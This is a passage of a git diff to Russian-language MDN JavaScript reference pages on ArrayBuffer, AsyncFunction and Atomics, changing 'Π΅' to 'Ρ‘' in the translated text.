-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <strong><code>ArrayBuffer</code></strong>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Он прСдставляСт собой ссылку Π½Π° ΠΏΠΎΡ‚ΠΎΠΊ "сырых" Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ возмоТности Π½Π΅ Π΄Π°Π΅Ρ‚. ВмСсто этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив</a>Β ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{jsxref("DataView")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π΄Π»Ρ чтСния ΠΈ записи Π΄Π°Π½Π½Ρ‹Ρ… Π²Β <strong><code>ArrayBuffer</code></strong>.Β </p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <strong><code>ArrayBuffer</code></strong>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. Он прСдставляСт собой ссылку Π½Π° ΠΏΠΎΡ‚ΠΎΠΊ "сырых" Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ возмоТности Π½Π΅ Π΄Π°Ρ‘Ρ‚. ВмСсто этого, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив</a>Β ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{jsxref("DataView")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π΄Π»Ρ чтСния ΠΈ записи Π΄Π°Π½Π½Ρ‹Ρ… Π²Β <strong><code>ArrayBuffer</code></strong>.Β </p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -24,11 +24,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Новый ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>ArrayBuffer</code>Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°. Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ содСрТимоС Ρ€Π°Π²Π½ΠΎ 0.</p>
+<p>Новый ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>ArrayBuffer</code>Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°. Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ содСрТимоС Ρ€Π°Π²Π½ΠΎ 0.</p>
<h2 id="ОписаниС">ОписаниС</h2>
-<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β <code>ArrayBuffer</code> создаСт Π½ΠΎΠ²Ρ‹ΠΉΒ <code>ArrayBuffer</code> установлСнного Π² Π±Π°ΠΉΡ‚Π°Ρ…Β Ρ€Π°Π·ΠΌΠ΅Ρ€Π°.</p>
+<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β <code>ArrayBuffer</code> создаёт Π½ΠΎΠ²Ρ‹ΠΉΒ <code>ArrayBuffer</code> установлСнного Π² Π±Π°ΠΉΡ‚Π°Ρ…Β Ρ€Π°Π·ΠΌΠ΅Ρ€Π°.</p>
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Π±ΡƒΡ„Π΅Ρ€Π°">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π±ΡƒΡ„Π΅Ρ€Π°</h3>
@@ -50,16 +50,16 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
<dl>
<dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>true</code> Ссли <code>arg</code> – ΠΎΠ΄Π½ΠΎ ΠΈΠ· прСдставлСний <code>ArrayBuffer</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив</a>Β ΠΈΠ»ΠΈΒ {{jsxref("DataView")}}. Π’Π΅Ρ€Π½Π΅Ρ‚Β <code>false</code>Β Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… случаях.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>true</code> Ссли <code>arg</code> – ΠΎΠ΄Π½ΠΎ ΠΈΠ· прСдставлСний <code>ArrayBuffer</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив</a>Β ΠΈΠ»ΠΈΒ {{jsxref("DataView")}}. Π’Π΅Ρ€Π½Ρ‘Ρ‚Β <code>false</code>Β Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… случаях.</dd>
<dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt>
<dd>
- <div class="line" id="file-arraybuffer-transfer-LC6">Π’Π΅Ρ€Π½Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉΒ <code>ArrayBuffer</code>, ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ взят ΠΈΠ· Π΄Π°Π½Π½Ρ‹Ρ…Β <code>oldBuffer</code>, Π° Π·Π°Ρ‚Π΅ΠΌ усСчСн ΠΈΠ»ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ Π½ΡƒΠ»Π΅Π²Ρ‹ΠΌΠΈ значСниями Π΄ΠΎ<font face="Open Sans, Arial, sans-serif">Β </font><code>newByteLength</code>.</div>
+ <div class="line" id="file-arraybuffer-transfer-LC6">Π’Π΅Ρ€Π½Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉΒ <code>ArrayBuffer</code>, ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ взят ΠΈΠ· Π΄Π°Π½Π½Ρ‹Ρ…Β <code>oldBuffer</code>, Π° Π·Π°Ρ‚Π΅ΠΌ усСчён ΠΈΠ»ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ Π½ΡƒΠ»Π΅Π²Ρ‹ΠΌΠΈ значСниями Π΄ΠΎ<font face="Open Sans, Arial, sans-serif">Β </font><code>newByteLength</code>.</div>
</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаСм 8-Π±Π°ΠΉΡ‚Π½Ρ‹ΠΉΒ Π±ΡƒΡ„Π΅Ρ€ с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} прСдставлСниСм:</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаём 8-Π±Π°ΠΉΡ‚Π½Ρ‹ΠΉΒ Π±ΡƒΡ„Π΅Ρ€ с {{jsxref("Global_Objects/Int32Array", "Int32Array")}} прСдставлСниСм:</p>
<pre class="brush: js">var buffer = new ArrayBuffer(8);
var view = new Int32Array(buffer);</pre>
@@ -76,7 +76,7 @@ var view = new Int32Array(buffer);</pre>
<tr>
<td>{{SpecName('Typed Array')}}</td>
<td>{{Spec2('Typed Array')}}</td>
- <td>Π—Π°ΠΌΠ΅Π½Π΅Π½ спСцификациСй ECMAScript 6.</td>
+ <td>Π—Π°ΠΌΠ΅Π½Ρ‘Π½ спСцификациСй ECMAScript 6.</td>
</tr>
<tr>
<td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html
index 84b8592a5e..6182148417 100644
--- a/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html
+++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice
---
<div>{{JSRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>slice()</strong></code>Β Π²Π΅Ρ€Π½Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ <code>ArrayBuffer</code>, содСрТимоС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠΏΠΈΠ΅ΠΉ содСрТимого, содСрТащСгося Π² исходом ArrayBuffer, начиная с begin (Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ), ΠΈ Π΄ΠΎΒ end(Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ).</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>slice()</strong></code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ <code>ArrayBuffer</code>, содСрТимоС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠΏΠΈΠ΅ΠΉ содСрТимого, содСрТащСгося Π² исходом ArrayBuffer, начиная с begin (Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ), ΠΈ Π΄ΠΎΒ end(Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ).</p>
<h2 id="Syntax">Syntax</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html
index b1475ad6e3..41f858c951 100644
--- a/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html
+++ b/files/ru/web/javascript/reference/global_objects/asyncfunction/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
---
<div>{{JSRef}}</div>
-<p><code><strong><font face="Open Sans, arial, sans-serif">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β </font>Async</strong></code><strong><code>Function</code> </strong>создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{jsxref("Statements/async_function", "async function")}}. Π’ JavaScript любая асинхронная функция фактичСски являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ AsyncFunction.</p>
+<p><code><strong><font face="Open Sans, arial, sans-serif">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β </font>Async</strong></code><strong><code>Function</code> </strong>создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{jsxref("Statements/async_function", "async function")}}. Π’ JavaScript любая асинхронная функция фактичСски являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ AsyncFunction.</p>
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ AsyncFunction Π½Π΅ являСтся Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Π•Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄.</p>
@@ -20,14 +20,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
<dl>
<dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
- <dd>ИмСна, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΊΠ°ΠΊ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². КаТдоС имя Π΄ΠΎΠ»ΠΆΠ½ΠΎΒ Π±Ρ‹Ρ‚ΡŒ строкой, которая соотвСтствуСт Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρƒ JavaScript ΠΈΠ»ΠΈ списку Ρ‚Π°ΠΊΠΈΡ… строк, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятой; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, "<code>x</code>", "<code>theValue</code>", ΠΈΠ»ΠΈ "<code>a,b</code>".Β </dd>
+ <dd>ИмСна, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΊΠ°ΠΊ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². КаТдоС имя Π΄ΠΎΠ»ΠΆΠ½ΠΎΒ Π±Ρ‹Ρ‚ΡŒ строкой, которая соотвСтствуСт Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρƒ JavaScript ΠΈΠ»ΠΈ списку Ρ‚Π°ΠΊΠΈΡ… строк, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятой; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, "<code>x</code>", "<code>theValue</code>", ΠΈΠ»ΠΈ "<code>a,b</code>".Β </dd>
<dt><code>functionBody</code></dt>
<dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°, содСрТащая Π² сСбС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² исходном кодС JavaScript .</dd>
</dl>
<h2 id="ОписаниС">ОписаниС</h2>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{jsxref("Statements/async_function", "async function")}}, созданныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ AsyncFunction constructor Β Π±ΡƒΠ΄ΡƒΡ‚ распарсСны Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚,Β ΠΊΠΎΠ³Π΄Π° функция создаСтся. Π­Ρ‚ΠΎ ΠΌΠ΅Π½Π΅Π΅ эффСктивно, Ρ‡Π΅ΠΌ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("Statements/async_function", "async function expression")}} ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго ΠΊΠΎΠ΄Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ‚Π°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ΡΡ с ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΊΠΎΠ΄Π°.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{jsxref("Statements/async_function", "async function")}}, созданныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ AsyncFunction constructor Β Π±ΡƒΠ΄ΡƒΡ‚ распарсСны Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚,Β ΠΊΠΎΠ³Π΄Π° функция создаётся. Π­Ρ‚ΠΎ ΠΌΠ΅Π½Π΅Π΅ эффСктивно, Ρ‡Π΅ΠΌ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("Statements/async_function", "async function expression")}} ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Ρ‘ Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго ΠΊΠΎΠ΄Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ‚Π°ΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ΡΡ с ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΊΠΎΠ΄Π°.</p>
<p>ВсС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π° ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π² создаваСмой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ.</p>
diff --git a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html
index 546fdbd27f..003ce1619a 100644
--- a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html
+++ b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add
---
<div>{{JSRef}}</div>
-<p>БтатичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Atomics</strong></code><strong><code>.add()</code></strong> добавляСт значСниС ΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒΒ ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² массивС ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² этой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ. Π­Ρ‚Π° атомарная опСрация Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ Π΄Ρ€ΡƒΠ³ΠΎΠΉ записи Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, ΠΏΠΎΠΊΠ° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ записано ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
+<p>БтатичСский ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Atomics</strong></code><strong><code>.add()</code></strong> добавляСт значСниС ΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒΒ ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² массивС ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² этой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ. Π­Ρ‚Π° атомарная опСрация Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ Π΄Ρ€ΡƒΠ³ΠΎΠΉ записи Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, ΠΏΠΎΠΊΠ° ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ записано ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add
<dl>
<dt><code>typedArray</code></dt>
- <dd>Π Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ массив Ρ†Π΅Π»Ρ‹Ρ… чисСл.Β {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ΠΈΠ»ΠΈ {{jsxref("Uint32Array")}}.</dd>
+ <dd>Π Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ массив Ρ†Π΅Π»Ρ‹Ρ… чисСл.Β {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ΠΈΠ»ΠΈ {{jsxref("Uint32Array")}}.</dd>
<dt><code>index</code></dt>
<dd>ΠŸΠΎΠ·ΠΈΡ†ΠΈΡ Π²Β <code>typedArray</code> для добавлСния <code>value</code>.</dd>
<dt><code>value</code></dt>
diff --git a/files/ru/web/javascript/reference/global_objects/atomics/index.html b/files/ru/web/javascript/reference/global_objects/atomics/index.html
index d51c14af2e..7411110086 100644
--- a/files/ru/web/javascript/reference/global_objects/atomics/index.html
+++ b/files/ru/web/javascript/reference/global_objects/atomics/index.html
@@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
<h3 id="АтомарныС_ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ">АтомарныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ</h3>
-<p>Когда ΠΏΠ°ΠΌΡΡ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π°, нСсколько ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΠ°ΠΌΡΡ‚ΡŒ. АтомарныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹Π΅ значСния Π±ΡƒΠ΄ΡƒΡ‚ записаны и ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Ρ‹, Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ опСрация начнСт свою Ρ€Π°Π±ΠΎΡ‚Ρƒ, ΠΈΒ ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€Π΅Ρ€Π²Π°Π½Ρ‹.</p>
